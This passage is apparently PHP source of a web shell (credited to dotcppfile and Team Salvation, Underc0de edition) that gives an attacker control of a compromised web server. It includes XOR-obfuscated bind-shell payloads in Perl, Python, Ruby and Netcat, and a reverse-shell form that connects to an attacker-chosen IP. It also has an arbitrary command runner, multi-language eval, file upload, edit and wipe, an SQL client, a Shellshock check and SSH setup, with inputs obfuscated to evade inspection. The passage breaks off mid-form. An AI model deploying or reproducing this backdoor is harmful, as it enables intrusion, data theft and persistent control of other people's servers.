1563 $shell = "ERwRQyMfBQIJEV9lfkcAHxQdUVFQW0BYenoVBg8OARtcMDUiMCw+SUQuMjw5PiM9QEU3IDcoLyMyOykkKUNUBBUEFhsDEQsNDQ0RHQNBSxEHH1NKWUtsYwUDTA0dDRRYNSw+MyE9WEMDHwUCDQEAHSsKHlhCGQMXEENUCh4VEjYNEQsBXEFBQlFHXEtUQUVBWVlPQGYebmYYCgMEAwdENiE9IiYiXFdZRV5EZX0CExMDGRhNJyM9Jj4kSjopNzIqJkpLemxgAxUBAVwwJDQvJ0BHWkk3Lzk1KD1OTF9lfQwAFQhBPzEgICE3XFJYTy8pLSo6N1JZXWNlChQKGksjJCIsPjdITUpFMzwvLCIxRkZPaXkVHgwPTUZAFgoeXxUBTEgNTV1Yeg0=";
1564 $location = $_SESSION["perl"];
1565 $extension = "pl";
1566 } else if ($bs_lang == "Python") {
1567 $shell = "DQIEDAIERhoDBg8KAE9QAxMLHBcLDBEQA1xGBh9vbh8bEQRNUl1YUW5lB0NNUBUGDw4BG1oQHxMNDBhNFwAXCBUESCgqOi0hMTdcUBUGDw4BG1owPzMtNj8xNio1Lll6FUcODAoLXEtSQVReQlVKX1pSUlxGGQMXEEZdaQNeCgAfEQEBXFZZemwKAwsKQ1QCFBQUSVFFF0EVABMVFh1ETG5lGxBeFBMZXk0HABoNXhYPBQkLC0ddT0BZbAYfSwAaBFFYEwkHAksCBhgGHh9OQEBUTWUbEF4UExleTQcAGg1eFg8FCQsLR11PQllsYxxFWU8HFhIAFAYPABccWgARHApBN0dLDR0NXwMOS0BFRkIdQS1Z";
1568 $location = $_SESSION["python"];
1569 $extension = "py";
1570 } else if ($bs_lang == "Ruby") {
1571 $shell = "FgoFFhkCA0lLFgsMHwYEV2xjHAoWG0lXRERSY2YWAR0CBgJQW0k4JjQ8EREGFRRHAgATTwQMAgRsCgAMAQEAQ01QFQweEwEdWgITEwMZGG9uCgwGE1AVGR4MChsSS1JfBAACShcHVE4ZUFpPSQFEUVJGFFBUV0pAAE1YABwZAwcYSQcDHQYeBEoKAAwBAQBK";
1572
1573 $location = $_SESSION["ruby"];
1574 $extension = "rb";
1575 } else if ($bs_lang == "Netcat") {
1576 $shell = "FAAGF01EUl1Yb24BF0NdHBAZTEEUAAYXUF0DSUMHDQFbEBg=";
1577
1578 $location = "bash";
1579 $extension = "sh";
1580 }
1581
1582 $port = unxor_this($_POST["bind_port"]);
1583
1584 $shell = unxor_this($shell, "dotcppfile");
1585 $shell = str_replace("port=4444", "port=$port", $shell);
1586
1587 if (isset($_POST["background"])) {
1588 execute_script($shell, $location, $extension);
1589 } else {
1590 execute_script($shell, $location, $extension, True);
1591 }
1592}
1593
1594if (isset($_POST["dir"])) { //gets the proper value of 'dir'
1595 $dir = unxor_this($_POST["dir"]);
1596 $size = strlen($dir);
1597
1598 if ($_SESSION["windows"] == True) {
1599 $dir = str_replace('\\', '/', $dir); //that's better for Windows
1600 }
1601
1602 while ($dir[$size - 1] == '/') {
1603 $dir = substr($dir, 0, $size - 1);
1604 $size = strlen($dir);
1605 }
1606} else {
1607 $dir = getcwd();
1608}
1609
1610//html, css and js code
1611echo "
1612<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN'
1613'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'>
1614<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
1615<head>
1616<meta http-equiv='content-type' content='text/html; charset=utf-8'/>
1617<title>".$sname."</title>
1618<style type=\"text/css\">
1619 * {
1620 font-size: 12px;
1621 }
1622 html {
1623 overflow-y: scroll;
1624 }
1625 body {
1626 font-family: Verdana, Geneva, sans-serif;
1627 line-height: 1.4;
1628 background: #242625;
1629 color: #F9F7ED;
1630 margin: 0;
1631 padding: 0;
1632 }
1633 textarea {
1634 width: 80%;
1635 height: 150px;
1636 }
1637 a {
1638 color: #B3E1EF;
1639 text-decoration: none;
1640 }
1641 h1 a {
1642 font-weight: 100;
1643 font-size: 28px;
1644 color: #B3E1EF;
1645 }
1646 h3 {
1647 margin-top: 3%;
1648 margin-bottom: 1%;
1649 }
1650 h3 a {
1651 font-size: 18px;
1652 }
1653 caption, caption * {
1654 text-decoration: none;
1655 font-size:16px;
1656 color: #B3E1EF;
1657 margin-bottom: 5px;
1658 }
1659 .flat-table {
1660 text-align: center;
1661 background: #3F3F3F;
1662 margin-top: 1%;
1663 margin-bottom: 1%;
1664 border-collapse: collapse;
1665 border: 1px solid black;
1666 width: 100%;
1667 }
1668 .flat-table th {
1669 background: #2C2F2D;
1670 height: 30px;
1671 line-height: 30px;
1672 font-weight: 600;
1673 font-size: 14px;
1674 padding-left: 10px;
1675 color: #F9F7ED;
1676 border: 1px solid black;
1677 }
1678 .flat-table td {
1679 height: 30px;
1680 border: 1px solid black;
1681 }
1682 .flat-table-2 {
1683 text-align: center;
1684 background: #3F3F3F;
1685 margin-top: 10px;
1686 margin-bottom: 10px;
1687 width: 505px;
1688 height: 335px;
1689 }
1690 .flat-table tr:hover{
1691 background: rgba(0,0,0,0.19);
1692 }
1693 .danger {
1694 color: red;
1695 }
1696 .success {
1697 color: green;
1698 }
1699 .a_button {
1700 border: none;
1701 background: none;
1702 padding: 0;
1703 color: #B3E1EF;
1704 }
1705 .a_button:hover {
1706 text-decoration: underline;
1707 cursor: pointer;
1708 }
1709 .left {
1710 position: fixed;
1711 width: 18%;
1712 height: 95%;
1713 margin: 1%;
1714 top: 0;
1715 left: 0;
1716 overflow-y: auto;
1717 }
1718 .right {
1719 position: fixed;
1720 width: 18%;
1721 height: 95%;
1722 margin: 1%;
1723 top: 0;
1724 right: 0;
1725 overflow-y: auto;
1726 }
1727 .center {
1728 width: 60%;
1729 margin-left: 20%;
1730 }
1731</style>
1732
1733<script>
1734function xor_str(to_xor) { //javascript encryption used for our live inputs.
1735 var key = \"".$_SESSION['key']."\";
1736 var the_res = \"\";
1737 for(i=0; i<to_xor.length;) {
1738 for(j=0; (j<key.length && i<to_xor.length); ++j,++i) {
1739 the_res+=String.fromCharCode(to_xor.charCodeAt(i)^key.charCodeAt(j));
1740 }
1741 }
1742 return btoa(the_res);
1743}
1744
1745function xorencr(input) { //gets our inputs as an array and uses 'xor_str` to encrypt them.
1746 var arrayLength = input.length;
1747 var field = String();
1748 for (var i = 0; i < arrayLength; i++) {
1749 field = document.getElementById(input[i]);
1750 field.value = xor_str(field.value);
1751 }
1752}
1753
1754function show_div(div_name) { //used by the 'rename' form in the file manager to show/hide the div when clicked.
1755 if (document.getElementById(div_name).style.display == \"block\") {
1756 document.getElementById(div_name).style.display = \"none\";
1757 } else {
1758 document.getElementById(div_name).style.display = \"block\";
1759 }
1760}
1761
1762</script>
1763</head>
1764
1765<body>
1766
1767<div class='left' id='left'>
1768<table class='flat-table' style='width:100%;height:100%;'>
1769 <caption>Various information</caption>
1770 <tr>
1771 <th style='width:40%;'>Info</th>
1772 <th>Value</th>
1773 </tr>
1774 <tr>
1775 <td>Version</td>
1776 <td>".php_uname()."</td>
1777 </tr>
1778 <tr>
1779 <td>Server's IP</td>";
1780 if ($_SERVER['SERVER_ADDR'] != null) {
1781 echo "<td>".$_SERVER['SERVER_ADDR']."</td>";
1782 } else { //for IIS
1783 echo "<td>".$_SERVER['HTTP_HOST']."</td>";
1784 }
1785 echo "</tr>
1786 <tr>
1787 <td>Process Owner</td>
1788 <td>".$_SESSION["process_owner"]."</td>
1789 </tr>";
1790
1791 $group_name = "";
1792 if (installed_php("posix_geteuid")) { //Linux
1793 $group_name = posix_getgrgid(posix_geteuid());
1794 $group_name = $group_name["name"];
1795 }
1796 echo "
1797 <tr>
1798 <td>Group Name</td>
1799 <td>".$group_name."</td>
1800 </tr>";
1801
1802 echo "
1803 <tr>
1804 <td>Script Owner</td>
1805 <td>".get_current_user()."</td>
1806 </tr>
1807 <tr>
1808 <td>Disk Total Space</td>
1809 <td>".floor((disk_total_space(realpath("/")))/(1073741824))." GB</td>
1810 </tr>";
1811
1812if ($_SESSION["windows"] == True) { //causing the shell to load slowly because of the command itself but it's worth it
1813 $total_amount = execute_command("wmic memorychip get capacity");
1814 $total_amount = explode("\n", $total_amount);
1815 unset($total_amount[0]);
1816 $total_memory = 0;
1817 foreach ($total_amount as $amount) {
1818 $total_memory += $amount;
1819 }
1820 $total_memory /= 1073741824;
1821
1822 echo "
1823 <tr>
1824 <td>Total RAM</td>
1825 <td>$total_memory GB</td>
1826 </tr>";
1827} else {
1828 $total_memory = execute_command("free -mt | grep Mem | awk '{print \$2}'");
1829 if ($total_memory != null) {
1830 echo "
1831 <tr>
1832 <td>Total RAM</td>
1833 <td>".($total_memory/1024)." GB</td>
1834 </tr>";
1835 }
1836}
1837
1838echo "
1839 <tr>
1840 <td>Your IP</td>
1841 <td>".$_SERVER['REMOTE_ADDR']."</td>
1842 </tr>
1843 <tr>
1844 <td>Encryption Key</td>
1845 <td>".$_SESSION["key"]."</td>
1846 </tr>
1847 <tr>
1848 <td>".$sname."'s Directory</td>
1849 <td>".$_SESSION["shell_name_directory"]."</td>
1850 </tr>
1851 <tr>
1852 <td>CGI</td>
1853 <td>";
1854 if ($_SESSION["cgi"]) {
1855 echo "True</td>";
1856 } else {
1857 echo "False</td>";
1858 }
1859echo "
1860 </tr>
1861 <tr>
1862 <td>CGI Shell</td>
1863 <td>".$_SESSION["cgi_url"]."</td>
1864 </tr>
1865 <tr>
1866 <td>Shellshock threw ".$sname."</td>
1867 <td>";
1868 if ($_SESSION["shsh"]) {
1869 echo "True</td>";
1870 } else {
1871 echo "False</td>";
1872 }
1873echo "
1874 </tr>
1875 <tr>
1876 <td>Shellshock</td>
1877 <td>";
1878 if (execute_command("env x='() { :;}; echo dotcppfile' bash -c \"echo dotcppfile\"") == "dotcppfile\ndotcppfile\n") {
1879 echo "True</td>";
1880 } else {
1881 echo "False</td>";
1882 }
1883echo "
1884 </tr>
1885 <tr>
1886 <td>SSH Method</td>
1887 <td>";
1888
1889 if ((isset($_SESSION["ssh"])) && ($_SESSION["ssh"] == True)) {
1890 echo "True</td>";
1891 } else {
1892 echo "False</td>";
1893 }
1894echo "
1895 </tr>
1896</table>
1897</div>
1898
1899<div class='right'>
1900<table class='flat-table' style='table-layout: fixed;'>
1901 <caption>
1902 <form style='display:inline;' action='#File Manager' method='post'>
1903 <input type='hidden' name='dir' value='".xor_this($_SESSION["shell_name_directory"])."' />
1904 <input type='submit' value=\"".$sname."'s directory\" class='a_button'/>
1905 </form>
1906 </caption>
1907 <tr>
1908 <th style='width: 20%;'>Type</th>
1909 <th>Name</th>
1910 </tr>";
1911
1912
1913if ($handle = opendir($_SESSION["shell_name_directory"])) {
1914 $rows = array();
1915 $pos = strrpos($_SESSION["shell_name_directory"], "/");
1916 $topdir = substr($_SESSION["shell_name_directory"], 0, $pos + 1);
1917 $i = 0;
1918 while (false !== ($file = readdir($handle))) {
1919 if ($file != "." && $file != "..") {
1920 $rows[$i]['data'] = $file;
1921 $rows[$i]['dir'] = is_dir($_SESSION["shell_name_directory"] . "/" . $file);
1922 $i++;
1923 }
1924 }
1925 closedir($handle);
1926
1927 $size = count($rows);
1928
1929 if ($size != 0) {
1930 $rows = sortRows($rows);
1931
1932 for ($i = 0; $i < $size; ++$i) {
1933 $curr_dir = $_SESSION["shell_name_directory"] . "/" . $rows[$i]['data'];
1934 echo "<tr><td>";
1935 if ($rows[$i]['dir']) {
1936 echo "[DIR]";
1937 } else {
1938 echo "[FILE]";
1939 }
1940 echo "</td>";
1941
1942 if (is_readable($curr_dir)) {
1943 echo "
1944 <td>
1945 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
1946 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
1947 <input type='hidden' name='old_dir' value='".xor_this($_SESSION["shell_name_directory"])."' />
1948 <input type='submit' value='".$rows[$i]['data']."' class='a_button' />
1949 </form>
1950 </td>";
1951 } else {
1952 echo "<td>".$rows[$i]['data']."</td>";
1953 }
1954 }
1955 }
1956}
1957
1958echo "
1959</table>
1960</div>
1961
1962<div class='center' id='center'>
1963<center>
1964
1965<h1><a href=".$_SERVER['PHP_SELF'].">".$sname."</a></h1>
1966<b>Underc0de edition</b><br/><br/>
1967
1968Coded by <a href=\"https://twitter.com/dotcppfile\">dotcppfile</a> and Team Salvation
1969<br/>Edited by <a href=\"https://underc0de.org/foro/profile/Nobody/\">Nobody</a> and <a href=\"https://underc0de.org/foro/profile/rollth/\">rollth</a> for <a href=\"https://www.underc0de.org\">Underc0de</a><br/>
1970
1971<h3><A NAME='Commander' href='#Commander'>Commander</A></h3>
1972
1973<p class='danger'>Using full paths in your commands is suggested.</p>
1974
1975<table class='flat-table' style='table-layout:fixed; word-wrap:break-word;'>
1976 <tr>
1977 <td style='width: 20%;'>disabled php</td>
1978 <td style='word-wrap:break-word;'>".implode(",", $GLOBALS["disabled_php"])."</td>
1979 </tr>
1980 <tr>
1981 <td style='width: 20%;'>disabled suhosin</td>
1982 <td style='word-wrap:break-word;'>".implode(",", $GLOBALS["disabled_suhosin"])."</td>
1983 </tr>
1984 <form style='display:inline;' action='#Commander' method='post' onsubmit=\"xorencr(['command'])\">
1985 <tr>
1986 <td style='height:50px;' colspan='2'>Command:
1987 <input type='text' size='40%' name='command' id='command'/>
1988 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
1989 <input type='submit' value='Execute'/>
1990 </td>
1991 </tr>";
1992
1993if (isset($GLOBALS["command"])) {
1994 echo "
1995 <tr>
1996 <td style='text-align:left; padding:1%;' colspan='2'>".$GLOBALS["command"]."</td>
1997 </tr>";
1998}
1999
2000echo "
2001 </form>
2002</table>
2003
2004
2005<h3><A NAME='File Manager' href='#File Manager'>File Manager</A></h3>
2006
2007<p class='danger'>Uploading and Zipping functions ouputs in ".$sname."'s directory.</p>";
2008
2009if (file_exists($dir) && (is_readable($dir))) {
2010 if (is_dir($dir)) {
2011 echo "
2012 <table class='flat-table' style='height: 100px;'>
2013 <tr>
2014 <td>Shell's Directory:
2015 <form style='display:inline;' action='#File Manager' method='post'>
2016 <input type='hidden' name='dir' value='".xor_this(getcwd())."' />
2017 <input type='submit' value='".getcwd()."' class='a_button' />
2018 </form>
2019 </td>
2020 </tr>
2021 <tr>
2022 <td>Current Directory: $dir</td>
2023 </tr>
2024 <tr>
2025 <td>Change Directory/Read File:
2026 <form action='#File Manager' method='post' onsubmit=\"xorencr(['dir'])\" style='display:inline'>
2027 <input style='width:250px' name='dir' id='dir' type='text' value='$dir'/>
2028 <input name='old_dir' id='old_dir' type='hidden' value='".xor_this($dir)."'/>
2029 <input type='submit' value='Change' name='Change'/>
2030 </form>
2031 </td>
2032 </tr>
2033 </table>";
2034
2035 if ($handle = opendir($dir)) {
2036 $rows = array();
2037 $pos = strrpos($dir, "/");
2038 $topdir = substr($dir, 0, $pos + 1);
2039 $i = 0;
2040 while (false !== ($file = readdir($handle))) {
2041 if ($file != "." && $file != "..") {
2042 $rows[$i]['data'] = $file;
2043 $rows[$i]['dir'] = is_dir($dir . "/" . $file);
2044 $i++;
2045 }
2046 }
2047 closedir($handle);
2048
2049 $size = count($rows);
2050
2051 echo "
2052 <table class='flat-table'>
2053 <tr>
2054 <th>Type</th>
2055 <th>Name</th>
2056 <th>Size (bytes)</th>
2057 <th>File Owner</th>
2058 <th>File Group</th>
2059 <th>Permissions</th>
2060 <th>Actions</th>
2061 </tr>
2062
2063 <tr>
2064 <td>[UP]</td>
2065 <td>
2066 <form style='display:inline;' action='#File Manager' method='post'>
2067 <input type='hidden' name='dir' value='".xor_this($topdir)."' />
2068 <input type='hidden' name='old_dir' value='".xor_this($dir)."'/>
2069 <input type='submit' value='..' class='a_button' />
2070 </form>
2071 </td>
2072 <td></td>
2073 <td></td>
2074 <td></td>
2075 <td></td>
2076 <td></td>
2077 </tr>";
2078
2079 if ($size != 0) {
2080 $rows = sortRows($rows);
2081
2082 for ($i = 0; $i < $size; ++$i) {
2083 $curr_dir = $dir . "/" . $rows[$i]['data'];
2084 echo "<tr><td>";
2085 if ($rows[$i]['dir']) {
2086 echo "[DIR]";
2087 } else if (is_link($curr_dir) == False) {
2088 echo "[FILE]";
2089 } else {
2090 echo "[LINK]";
2091 }
2092 echo "</td>";
2093
2094 if (is_readable($curr_dir)) {
2095 if (is_link($curr_dir)) {
2096 $rows[$i]['data'] .= " -> ".readlink($curr_dir);
2097 }
2098 echo "
2099 <td>
2100 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2101 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
2102 <input type='hidden' name='old_dir' value='".xor_this($dir)."' />
2103 <input type='submit' value='".$rows[$i]['data']."' class='a_button' />
2104 </form>
2105 </td>";
2106 } else {
2107 echo "<td>".$rows[$i]['data']."</td>";
2108 }
2109
2110 if (is_executable($dir)) {
2111 echo "<td>".@filesize($curr_dir)."</td>";
2112 } else {
2113 echo "<td></td>";
2114 }
2115
2116 $fileowner = "";
2117 $filegroup = "";
2118 if ((is_executable($dir)) && (installed_php("fileowner")) && (installed_php("filegroup"))) {
2119 $fileowner = @fileowner($curr_dir);
2120 $filegroup = @filegroup($curr_dir);
2121
2122 if (installed_php("posix_getpwuid")) {
2123 $fileowner = @posix_getpwuid($fileowner);
2124 $fileowner = $fileowner["name"]; //don't blame me for this, blame old versions of php...
2125 $filegroup = @posix_getgrgid($filegroup);
2126 $filegroup = $filegroup["name"];
2127 }
2128 }
2129 echo "<td>$fileowner</td>";
2130 echo "<td>$filegroup</td>";
2131
2132 if (is_executable($dir)) {
2133 echo "<td>".@get_permissions($curr_dir)."</td>";
2134 } else {
2135 echo "<td></td>";
2136 }
2137
2138 echo "<td>";
2139 if (is_dir($curr_dir)) { //for directories only
2140 if (is_readable($curr_dir)) {
2141 echo "
2142 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2143 <input type='hidden' name='zip' value='".xor_this($curr_dir)."'/>
2144 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2145 <input type='submit' class='a_button' value='Zip'/>
2146 </form>";
2147 }
2148 } else { //for files only
2149 if (is_readable($curr_dir)) {
2150 echo "
2151 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2152 <input type='hidden' name='download' value='".xor_this($curr_dir)."'/>
2153 <input type='submit' class='a_button' value='Download'/>
2154 </form>";
2155 }
2156
2157 if ((is_readable($curr_dir)) && (is_writable($curr_dir))) {
2158 echo "
2159 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2160 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
2161 <input type='hidden' name='old_dir' value='".xor_this($dir)."' />
2162 <input type='submit' class='a_button' value='Edit'/>
2163 </form>";
2164
2165 echo "
2166 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2167 <input type='hidden' name='wipe' value='".xor_this($curr_dir)."'/>
2168 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2169 <input type='submit' class='a_button' value='Wipe'/>
2170 </form>";
2171 }
2172 }
2173
2174 if ((is_readable($dir)) && (is_writable($dir)) && (is_executable($dir))) {
2175 echo "
2176 <input type='button' class='a_button' value='Rename' onclick=\"show_div('rename-".xor_this($curr_dir)."')\"/>
2177
2178 <div id='rename-".xor_this($curr_dir)."' style='display:none;'>
2179 <form action='#File Manager' method='post' onsubmit=\"xorencr(['new_name-".xor_this($curr_dir)."'])\">
2180 <input style='width:150px' name='new_name' id='new_name-".xor_this($curr_dir)."' type='text' value=''/>
2181 <input type='hidden' name='old_name' value='".xor_this($curr_dir)."'/>
2182 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2183 <input type='submit' value='Rename'/>
2184 </form>
2185 </div>";
2186
2187
2188 echo "
2189 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2190 <input type='hidden' name='del' value='".xor_this($curr_dir)."'/>
2191 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2192 <input type='submit' class='a_button' value='Del'/>
2193 </form>";
2194 }
2195
2196 if ($_SESSION["process_owner"] == $fileowner) { //can we chmod?
2197 echo "
2198 <input type='button' class='a_button' value='Chmod' onclick=\"show_div('chmod-".xor_this($curr_dir)."')\"/>
2199
2200 <div id='chmod-".xor_this($curr_dir)."' style='display:none;'>
2201 <form action='#File Manager' method='post' onsubmit=\"xorencr(['new_chmod-".xor_this($curr_dir)."'])\">
2202 <input style='width:150px' name='new_chmod' id='new_chmod-".xor_this($curr_dir)."' type='text' value='' placeholder='Example: 666'/>
2203 <input type='hidden' name='file_name' value='".xor_this($curr_dir)."' />
2204 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2205 <input type='submit' value='Chmod'/>
2206 </form>
2207 </div>";
2208 }
2209
2210 echo "</td></tr>";
2211 }
2212 }
2213
2214 echo "
2215 </table>
2216 <table class='flat-table' style='height: 100px;'>
2217 <tr>
2218 <form action='#File Manager' method='post' enctype='multipart/form-data'>
2219 <td>Upload File(s) (Browse):</td>
2220 <td><input type='file' value='Browse' name='file_upload[]' multiple/></td>
2221 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2222 <td><input type='submit' value='Upload'/></td>
2223 </form>
2224 </tr>
2225 <tr>
2226 <form action='#File Manager' method='post' onsubmit=\"xorencr(['link_download'])\">
2227 <td>Upload File (Link):</td>
2228 <td><input placeholder='Direct Links required!' style='width:80%' id='link_download' name='link_download' type='text'/></td>
2229 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2230 <td><input type='submit' value='Upload'/></td>
2231 </form>
2232 </tr>";
2233
2234 if (is_writable($dir)) {
2235 echo "
2236 <tr>
2237 <form action='#File Manager' method='post' onsubmit=\"xorencr(['mkfile'])\">
2238 <td>Create File:</td>
2239 <td><input style='width:80%' id='mkfile' name='mkfile' type='text'/></td>
2240 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2241 <td><input type='submit' value='Create'/></td>
2242 </form>
2243 </tr>
2244 <tr>
2245 <form action='#File Manager' method='post' onsubmit=\"xorencr(['mkdir'])\">
2246 <td>Create Folder:</td>
2247 <td><input style='width:80%' id='mkdir' name='mkdir' type='text'/></td>
2248 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2249 <td><input type='submit' value='Create'/></td>
2250 </form>
2251 </tr>";
2252 }
2253
2254 echo "</table>";
2255 }
2256 } else {
2257 $content = read_file($dir);
2258
2259 echo "
2260 <br/>
2261 <form action='#File Manager' method='post'>
2262 <input type='hidden' name='dir' value='".$_POST["old_dir"]."' />
2263 <input type='submit' value='Go Back' class='a_button' />
2264 </form>";
2265
2266 if (is_writable($dir)) {
2267 echo "
2268 <table class='flat-table' style='table-layout: fixed;'>
2269 <tr>
2270 <form action='#File Manager' method='post' onsubmit=\"xorencr(['edit'])\">
2271 <td style='padding:1%;'>
2272 <textarea id='edit' name='edit'>$content</textarea><br/>
2273 <input type='hidden' name='location' value='".xor_this($dir)."'/>
2274 <input type='hidden' name='old_dir' value='".$_POST["old_dir"]."' />
2275 <input type='submit' value='Edit'/>
2276 </td>
2277 </form>
2278 </tr>
2279 </table>";
2280 } else {
2281 echo "
2282 <table class='flat-table' style='table-layout: fixed;'>
2283 <tr>
2284 <td><textarea name='edit'>$content</textarea></td>
2285 </tr>
2286 </table>";
2287 }
2288 }
2289} else {
2290 echo "
2291 <form action='#File Manager' method='post'>
2292 <input type='hidden' name='dir' value='".$_POST["old_dir"]."' />
2293 <input type='submit' value='Go Back' class='a_button' />
2294 </form>
2295 <p class='danger'>`$dir` is not read readable or doesn't exist!</p>";
2296}
2297
2298echo "
2299<h3><A NAME='Eval' href='#Eval'>Eval</A></h3>
2300
2301<p class='danger'>DO NOT include '<?php' at the beginning or '?>' at the end for Php.</p>
2302
2303<table class='flat-table' style='table-layout: fixed;'>
2304 <tr>
2305 <form action='#Eval 'method='post' onsubmit=\"xorencr(['eval_code'])\">
2306 <td style='padding:1%;'>
2307 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2308 <textarea name='eval_code' id='eval_code'></textarea><br/>
2309 <input type='submit' value='Execute'/>
2310 <select name='eval_lang'>
2311 <option value='".xor_this("Php")."'>Php</option>";
2312if ($_SESSION["perl"] != null) {
2313 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2314}
2315if ($_SESSION["python"] != null) {
2316 echo "<option value='".xor_this("Python")."'>Python</option>";
2317}
2318if ($_SESSION["ruby"] != null) {
2319 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2320}
2321echo "
2322 </select>
2323 <input name='output_needed' type='checkbox'/>Show Output
2324 </td>
2325 </form>
2326 </tr>";
2327
2328if (isset($_POST["eval_code"])) {
2329 $eval_code = unxor_this($_POST["eval_code"]);
2330 $eval_lang = unxor_this($_POST["eval_lang"]);
2331
2332 if (isset($_POST["output_needed"])) {
2333 $output_needed = True;
2334 } else {
2335 $output_needed = False;
2336 }
2337
2338 echo "<tr><td>";
2339 if ($eval_lang == "Php") {
2340 execute_php($eval_code, $output_needed);
2341 } else if ($eval_lang == "Perl") {
2342 echo execute_script($eval_code, $_SESSION["perl"], "pl", $output_needed);
2343 } else if ($eval_lang == "Python") {
2344 echo execute_script($eval_code, $_SESSION["python"], "py", $output_needed);
2345 } else if ($eval_lang == "Ruby") {
2346 echo execute_script($eval_code, $_SESSION["ruby"], "rb", $output_needed);
2347 }
2348 echo "</td></tr>";
2349}
2350
2351echo "
2352</table>
2353
2354<h3><A NAME='Sql Connect' href='#Sql Connect'>Sql Connect</A></h3>
2355
2356<table class='flat-table' style='table-layout: fixed;'>
2357
2358 <form action='#Sql Connect 'method='post' onsubmit=\"xorencr(['sql_host', 'sql_user', 'sql_pass', 'sql_database'])\">
2359 <tr>
2360 <td style='padding:1%;'>
2361 Connection:
2362 <input placeholder='Sql Host' type='text' name='sql_host' id='sql_host' style='width:15%;'/>
2363 <input placeholder='Sql User' type='text' name='sql_user' id='sql_user' style='width:15%;'/>
2364 <input placeholder='Sql Password' type='text' name='sql_pass' id='sql_pass' style='width:15%;'/>
2365 <input placeholder='Sql Database' type='text' name='sql_database' id='sql_database' style='width:15%;'/>
2366 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2367 <input type='submit' value='Connect'/>
2368 </td>
2369 </tr>
2370 </form>";
2371
2372if ((isset($_SESSION["mysqli"])) && ($_SESSION["mysqli"] == True)) {
2373 echo "
2374 <form action='#Sql Connect' method='post' onsubmit=\"xorencr(['sql_execute'])\">
2375 <tr>
2376 <td style='padding:1%;'>
2377 Query: <input type='text' style='width:40%;' name='sql_execute' id='sql_execute'/>
2378 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2379 <input type='submit' value='Execute'/>
2380 <input type='checkbox' name='save_output' value='Save Output'/>Save Output
2381 </td>
2382 </tr>
2383 </form>";
2384}
2385
2386if (isset($GLOBALS["sql_output"])) {
2387 echo "
2388 <tr>
2389 <td style='padding:1%;'><textarea>".$GLOBALS["sql_output"]."</textarea></td>
2390 </tr>";
2391}
2392
2393echo "
2394</table>
2395
2396<h3><A NAME='Bind Shells' href='#Bind Shells'>Bind Shells</A></h3>
2397
2398<table class='flat-table' style='table-layout: fixed;'>
2399<form method='post' action='#Bind Shells' onsubmit=\"xorencr(['bind_port'])\">
2400 <tr>
2401 <td style='padding: 1%'>
2402 Info:
2403 <input name='bind_port' id='bind_port' placeholder='Port' type='text'/>
2404 <select name='bs_lang'>";
2405if ($_SESSION["perl"] != null) {
2406 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2407}
2408if ($_SESSION["python"] != null) {
2409 echo "<option value='".xor_this("Python")."'>Python</option>";
2410}
2411if ($_SESSION["ruby"] != null) {
2412 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2413}
2414if (($_SESSION["windows"] == False) && (execute_command("nc", True))) {
2415 echo "<option value='".xor_this("Netcat")."'>Netcat</option>";
2416}
2417echo "
2418 </select>
2419 <input type='submit' value='Bind'/>
2420 <input type='checkbox' name='background'/>Run in background
2421 </td>
2422 </tr>
2423</form>
2424</table>
2425
2426<h3><A NAME='Reverse Shells' href='#Reverse Shells'>Reverse Shells</A></h3>
2427
2428<table class='flat-table' style='table-layout: fixed;'>
2429<form method='post' action='#Bind Shells' onsubmit=\"xorencr(['reverse_ip', 'reverse_port'])\">
2430 <tr>
2431 <td style='padding: 1%'>
2432 Info:
2433 <input name='reverse_ip' id='reverse_ip' placeholder='IP Address' type='text'/>
2434 <input name='reverse_port' id='reverse_port' placeholder='Port' type='text'/>
2435 <select name='rs_lang'>";
2436if ($_SESSION["perl"] != null) {
2437 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2438}
2439if ($_SESSION["python"] != null) {
2440 echo "<option value='".xor_this("Python")."'>Python</option>";
2441}
2442if ($_SESSION["ruby"] != null) {
2443 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2444}
2445if ($_SESSION["windows"] == False) {
2446 echo "<option value='".xor_this("Bash")."'>Bash</option>";
2447}
2448echo "
2449 </select>
2450 <input type='submit' value='Bind'/>
2451 <input type='checkbox' name='background'/>Run in background
2452 </td>
2453 </tr>
2454</form>
2455</table>";
2456
2457if ($_SESSION["windows"] == False) { //linux only for now
2458 echo "
2459 <h3><A NAME='Setup SSH' href='#Setup SSH'>Setup SSH</A></h3>
2460
2461 <p class='danger'>Make sure you upload all the files in 'phpseclib', using the File Manager, first.</p>
2462
2463 <table class='flat-table' style='table-layout: fixed;'>
2464 <form method='post' action='#Setup SSH' onsubmit=\"xorencr(['ssh_user', 'ssh_port', 'home_dir'])\">
2465 <tr>
2466 <td style='padding: 1%'>
2467 Info:
2468 <input name='ssh_user' id='ssh_user' placeholder='SSH Username' type='text'/>
2469 <input name='ssh_port' id='ssh_port' placeholder='SSH Port' type='text'/>
